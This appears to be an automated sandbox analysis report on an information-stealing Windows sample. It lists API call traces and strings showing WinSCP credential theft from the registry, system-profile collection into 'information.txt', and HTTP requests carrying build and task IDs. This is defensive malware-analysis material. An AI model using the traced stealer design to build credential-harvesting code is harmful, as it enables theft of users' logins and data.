InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

", xrefs: 0040737D
------, xrefs: 00406E82
mode, xrefs: 004071F1
7fb8096dba7218243f8f6f7a994751d3, xrefs: 004070ED
------, xrefs: 004073FF
status, xrefs: 004074B1
------, xrefs: 00407145
", xrefs: 00406F61
------, xrefs: 0040729F
task_id, xrefs: 00407351
", xrefs: 0040721D
", xrefs: 004074DD
------, xrefs: 00406FE3
", xrefs: 004070C1
------, xrefs: 00406CFC
build_id, xrefs: 00407095

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$7fb8096dba7218243f8f6f7a994751d3$build_id$mode$status$task_id
API String ID: 3702379033-2764657742
Opcode ID: 94bce884781040e8ff422804929f0a0c041406c1a25af2ad4ea517ec93a7a6fd
Instruction ID: f28151e3697947f206a0980c25f575650e410a772d733d80a29dba40e216d304
Opcode Fuzzy Hash: 94bce884781040e8ff422804929f0a0c041406c1a25af2ad4ea517ec93a7a6fd
Instruction Fuzzy Hash: 7552897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DA746FCA8FA8

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,7fb8096dba7218243f8f6f7a994751d3,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

mode, xrefs: 00406575
------, xrefs: 00406206
------, xrefs: 004064C9
build_id, xrefs: 00406419
7fb8096dba7218243f8f6f7a994751d3, xrefs: 00406471
", xrefs: 004062E5
", xrefs: 00406445
------, xrefs: 00406080
------, xrefs: 00406367
", xrefs: 004065A1

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$7fb8096dba7218243f8f6f7a994751d3$build_id$mode
API String ID: 3702379033-2582984051
Opcode ID: 89793100b31f161b87fc7d4451beb843dbd63545ddb40e14516daf7b13bddfee
Instruction ID: 82dd920f4857eb4424cccb8e833476094bcda5e32b3baf042c939ae059a0737f
Opcode Fuzzy Hash: 89793100b31f161b87fc7d4451beb843dbd63545ddb40e14516daf7b13bddfee
Instruction Fuzzy Hash: FF22B9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0040E186 Relevance: 51.1, APIs: 15, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
HostName, xrefs: 0040E367
UseMasterPassword, xrefs: 0040E24E
UserName, xrefs: 0040E496
Login: , xrefs: 0040E459
Security, xrefs: 0040E253
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
passwords.txt, xrefs: 0040E662
PortNumber, xrefs: 0040E3BD
:22, xrefs: 0040E42D
Host: , xrefs: 0040E32A
Soft: WinSCP, xrefs: 0040E2FE
Password: , xrefs: 0040E529
Password, xrefs: 0040E515

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$Value$Open$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 3303087153-2798830873
Opcode ID: 9cb75a7071ecb74fff9e56ced005ca6b64a065f8bcd1bf242cfed6becfa28f4e
Instruction ID: 1c66541d4828bd9326f921050ea70c7b79589cb9660c5b8585550bf775721ac0
Opcode Fuzzy Hash: 9cb75a7071ecb74fff9e56ced005ca6b64a065f8bcd1bf242cfed6becfa28f4e
Instruction Fuzzy Hash: B5D1D6B295012DAADF20EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00418643 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418684
GetProcAddress.KERNEL32 ref: 0041869B
GetProcAddress.KERNEL32 ref: 004186B2
GetProcAddress.KERNEL32 ref: 004186C9
GetProcAddress.KERNEL32 ref: 004186E0
GetProcAddress.KERNEL32 ref: 004186F7
GetProcAddress.KERNEL32 ref: 0041870E
GetProcAddress.KERNEL32 ref: 00418725
GetProcAddress.KERNEL32 ref: 0041873C
GetProcAddress.KERNEL32 ref: 00418753
GetProcAddress.KERNEL32 ref: 0041876A
GetProcAddress.KERNEL32 ref: 00418781
GetProcAddress.KERNEL32 ref: 00418798
GetProcAddress.KERNEL32 ref: 004187AF
GetProcAddress.KERNEL32 ref: 004187C6
GetProcAddress.KERNEL32 ref: 004187DD
GetProcAddress.KERNEL32 ref: 004187F4
GetProcAddress.KERNEL32 ref: 0041880B
GetProcAddress.KERNEL32 ref: 00418822
GetProcAddress.KERNEL32 ref: 00418839
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041884A
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041885B
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041886C
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041887D
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041888E
GetProcAddress.KERNEL32(75A70000,004184C2), ref: 004188AA
GetProcAddress.KERNEL32(75290000,004184C2), ref: 004188C5
GetProcAddress.KERNEL32 ref: 004188DC
GetProcAddress.KERNEL32(75BD0000,004184C2), ref: 004188F7
GetProcAddress.KERNEL32(75450000,004184C2), ref: 00418912
GetProcAddress.KERNEL32(76E90000,004184C2), ref: 0041892D
GetProcAddress.KERNEL32 ref: 00418944

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 4153ecd493db34a1094e14b788043fe07f5e2afe7ddd22b5ff6fe96697fb63f9
Instruction ID: 2c76b628124a1797fdce28c748a09696ce6250a2eaa67b4899ff399dadce2328
Opcode Fuzzy Hash: 4153ecd493db34a1094e14b788043fe07f5e2afe7ddd22b5ff6fe96697fb63f9
Instruction Fuzzy Hash: 96711675910312AFEF1ADF60FD088243BA7F70874BF10A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

MachineID: , xrefs: 00413C80
Computer Name: , xrefs: 00413FAD
RAM: , xrefs: 00414350
[Hardware], xrefs: 0041420D
Keyboard Languages: , xrefs: 004140DE
Path: , xrefs: 00413DBB
Threads: , xrefs: 004142EF
information.txt, xrefs: 00414573
Processor: , xrefs: 0041422D
HWID: , xrefs: 00413D4E
Install Date: , xrefs: 00413ED1
AV: , xrefs: 00413F3E
VideoCard: , xrefs: 004143B7
Work Dir: In memory, xrefs: 00413E30
Cores: , xrefs: 0041428E
GUID: , xrefs: 00413CE1
TimeZone: , xrefs: 004141AC
[Software], xrefs: 004144A3
[Processes], xrefs: 0041442A
Version: , xrefs: 00413B9F
Date: , xrefs: 00413C1F
User Name: , xrefs: 0041400E
Display Resolution: , xrefs: 0041406F
Windows: , xrefs: 00413E70
Local Time: , xrefs: 0041414B

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3279995179-1014693891
Opcode ID: 6126670baf250b2cd161e8f14be422fa99acf7c1130f51379d98b343847bea79
Instruction ID: 792dbb826b946587ba76db5a11b028a2a1d9662385358a0031bce88e61b043bf
Opcode Fuzzy Hash: 6126670baf250b2cd161e8f14be422fa99acf7c1130f51379d98b343847bea79
